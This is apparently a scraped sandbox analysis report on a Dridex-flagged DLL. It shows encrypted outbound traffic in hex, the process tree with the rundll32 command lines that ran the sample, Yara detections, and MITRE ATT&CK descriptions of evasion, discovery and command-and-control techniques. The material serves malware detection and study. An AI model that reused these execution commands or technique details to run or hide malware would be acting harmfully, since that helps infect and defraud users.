2021-10-28 02:53:29 UTC	44	OUT	Data Raw: f5 29 ae 6a 10 0c 24 ac 57 b0 5a a3 4f 6c 4b 9c b5 a2 23 ad fb af a2 44 06 10 db 9a de 51 92 4c a3 a7 e8 31 68 04 8c b2 cd aa a3 bd d3 4b 9f 8d fe e6 28 6f 90 0d 1c 4e 0f 2a 8d 08 2b 41 2a f6 6d fd 95 04 15 f1 63 91 09 eb 8c 30 6b 05 56 d3 bb ce 00 53 ff 67 eb 60 f6 41 72 31 97 d0 5d 17 8c 3e 91 70 4c 32 4c 65 54 c8 63 97 5d 23 fa 2a 14 6f de d4 1a 49 98 d0 cd f3 0d a7 96 2b ec 24 e9 2e 8f 05 fc 7b 03 b4 c5 35 3a b3 94 49 02 cb 9a 68 0a cf 6b b4 a2 ec e5 70 19 be 24 33 21 16 fe 6a 9c 5f a5 01 08 3e 5a 82 64 5c 75 b1 cc 6f fd 37 0c 85 1b b4 e9 c8 37 cc f0 0a a2 70 be f7 bb c5 89 e5 e1 46 d0 8d d5 1e 0a 93 8c 69 b6 41 f8 08 31 ff 6d d6 53 23 ed 8f cb 18 51 e2 66 24 5a 3a 93 1b 60 5d a3 3e 82 87 68 64 fe 36 9c a8 38 b1 94 8e fc 27 01 89 00 f2 78 71 a6 14 7a Data Ascii: )j$WZOlK#DQL1hK(oN+Amc0kVSg`Ar1]>pL2LeTc]#*oI+$.{5:Ihkp$3!j_>Zd\uo77pFiA1mS#Qf$Z:`]>hd68'xqz
2021-10-28 02:53:30 UTC	49	IN	HTTP/1.1 403 Forbidden Server: nginx/1.15.12 Date: Thu, 28 Oct 2021 02:53:30 GMT Content-Type: text/plain; charset=utf-8 Connection: close

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: loaddll32.exe PID: 6832 Parent PID: 4636

General

Start time:	04:52:06
Start date:	28/10/2021
Path:	C:\Windows\System32\loaddll32.exe
Wow64 process (32bit):	true
Commandline:	loaddll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll'
Imagebase:	0xc50000
File size:	893440 bytes
MD5 hash:	72FCD8FB0ADC38ED9050569AD673650E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000002.815049595.000000006E931000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000002.00000003.413004072.00000000010D0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	moderate

Analysis Process: cmd.exe PID: 6888 Parent PID: 6832

General

Start time:	04:52:07
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\cmd.exe
Wow64 process (32bit):	true
Commandline:	cmd.exe /C rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll',#1
Imagebase:	0xd80000
File size:	232960 bytes
MD5 hash:	F3BDBE3BB6F734E357235F4D5898582D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high

Analysis Process: rundll32.exe PID: 6960 Parent PID: 6832

General

Start time:	04:52:07
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Bluewing
Imagebase:	0x990000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000006.00000003.380770170.00000000007C0000.00000040.00000010.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: rundll32.exe PID: 6972 Parent PID: 6888

General

Start time:	04:52:07
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll',#1
Imagebase:	0x990000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000007.00000002.816097382.000000006E931000.00000020.00020000.sdmp, Author: Joe Security Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000007.00000003.381345345.00000000031A0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: rundll32.exe PID: 7024 Parent PID: 6832

General

Start time:	04:52:11
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Earth
Imagebase:	0x990000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000008.00000003.400629828.00000000008D0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Analysis Process: rundll32.exe PID: 7052 Parent PID: 6832

General

Start time:	04:52:18
Start date:	28/10/2021
Path:	C:\Windows\SysWOW64\rundll32.exe
Wow64 process (32bit):	true
Commandline:	rundll32.exe C:\Users\user\Desktop\SecuriteInfo.com.Variant.Razy.980776.9478.dll,Masterjust
Imagebase:	0x990000
File size:	61952 bytes
MD5 hash:	D7CA562B0DB4F4DD0F03A89A1FDAD63D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Dridex_1, Description: Yara detected Dridex unpacked file, Source: 00000009.00000003.411045678.00000000046D0000.00000040.00000001.sdmp, Author: Joe Security
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse rundll32.exe to proxy execution of malicious code. Using rundll32.exe, vice executing directly (i.e. Shared Modules ), may avoid triggering security tools that may not monitor execution of the rundll32.exe process because of allowlists or false positives from normal operations. Rundll32.exe is commonly associated with executing DLL payloads.
Tactics:	Defense Evasion
Data Sources:	DLL monitoring, Loaded DLLs, Process command-line parameters, Process monitoring
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for details about the network configuration and settings of systems they access or through information discovery of remote systems. Several operating system administration utilities exist that can be used to gather this information. Examples include Arp , ipconfig / ifconfig , nbtstat , and route .
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report SecuriteInfo.com.Variant.Razy.980776.9478.23455

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Dridex

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

E-Banking Fraud:

System Summary:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Sections

Imports

Exports

Network Behavior

Network Port Distribution

TCP Packets

HTTP Request Dependency Graph

HTTPS Proxied Packets

Code Manipulations

Statistics

Behavior

System Behavior

Analysis Process: loaddll32.exe PID: 6832 Parent PID: 4636

General

Analysis Process: cmd.exe PID: 6888 Parent PID: 6832